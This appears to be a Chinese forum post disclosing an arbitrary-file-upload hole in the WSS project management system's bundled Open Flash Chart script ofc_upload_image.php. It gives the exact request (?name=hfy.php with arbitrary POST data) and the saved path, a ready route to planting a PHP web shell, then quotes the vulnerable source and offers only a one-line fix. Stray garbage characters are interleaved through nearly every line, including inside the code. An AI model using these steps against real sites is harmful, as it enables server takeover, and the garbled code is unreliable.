WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
- m0 q: k+ A8 ^  ` 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
! |4 U( Y9 @& X1 j4 C
9 L& K; s( r! I+ ~& i* O+ k利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
4 t# L' \0 ]7 ]
Post任意数据
  X+ }# L/ s  S( Y  D4 C. W保存位置http://localhost/chart/tmp-upload-images/hfy.php
8 s1 ]; |4 O( z* n0 \: U; I& h
+ }* `, \+ _( y) c% A
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
( W& N; S; _  }2 w# v: V3 s% Q
<?php
2 g6 {# _4 m( j# i
% a! p" {4 h4 @/ l* Z//
& k1 J; q: `  Q4 Y8 u3 N8 |% S// In Open Flash Chart -> save_image debug mode, you
9 T" t* c% i6 w# ?- _2 S) i// will see the 'echo' text in a new window.
//

: X; h! x$ Z% d1 W/*

print_r( $_GET );
/ P& p% h# g1 oprint_r( $_POST );
  t3 T& E& q! [7 `print_r( $_FILES );
" C2 s  U; k/ `
+ j- I0 Z" o( O# tprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
+ e) a0 G) ~- p// default path for the image to be stored //
  N( I' Y9 [1 @  a% g. A$default_path = '../tmp-upload-images/';

: F2 T% O5 a* C, ^* S+ q- B9 jif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

5 v5 K, [2 H1 k: u( t, S8 Techo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
9 O& n' x0 l  e$ q$ N// echo $HTTP_RAW_POST_DATA;

4 r* H0 M, J7 {6 F9 Q6 H& ^//
% h. O2 H% P3 ~. R: {  L// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
# A" \7 P7 X$ ?( V
$jfh = fopen($destination, 'w') or die("can't open file");
8 c) }: M& H; U. |# q) Ofwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

( I) K1 i1 b( R/ T) R! x//
5 h. Y, R- \% S/ S  n0 p// LOOK:
//
9 N2 u9 `5 I+ y$ Y* Jexit();
//
// PHP5:
//
4 G& e% Y* g" w% v6 i/ O" s

// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

& C. a1 V4 |; s3 v. ]; h// full path to the saved image including filename //
+ j) [6 l# C8 X7 N- ]$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
+ I, U/ S. e/ ?3 ?9 @. S
// move the image into the specified directory //
, ]) _3 T4 _+ V3 g' W, y' Eif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
8 K! e# {. x+ R8 x' k+ ]} else {
    echo "FILE UPLOAD FAILED";
7 A$ B0 Z! u- ^7 M}
( P7 x, T( o. q  n- V2 {
3 K" \# J1 M7 J: V# D
5 q, h6 N+ A0 R$ z# f1 i?>


8 S/ B' I; m3 o2 Z
( l$ b& [! k9 `7 o- z5 y
' J6 b, Q( I, n( Z$ ~$ }7 H; F

, F  ?! W6 u+ t修复方案：
& m, R! J5 i1 I2 j/ B: O4 j, Y$ f# c这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

2 ], P0 R) I. p8 q4 t
: _& i5 w6 C( p  @' A! x" W9 m
" G; L5 E' D+ l6 J: ]$ q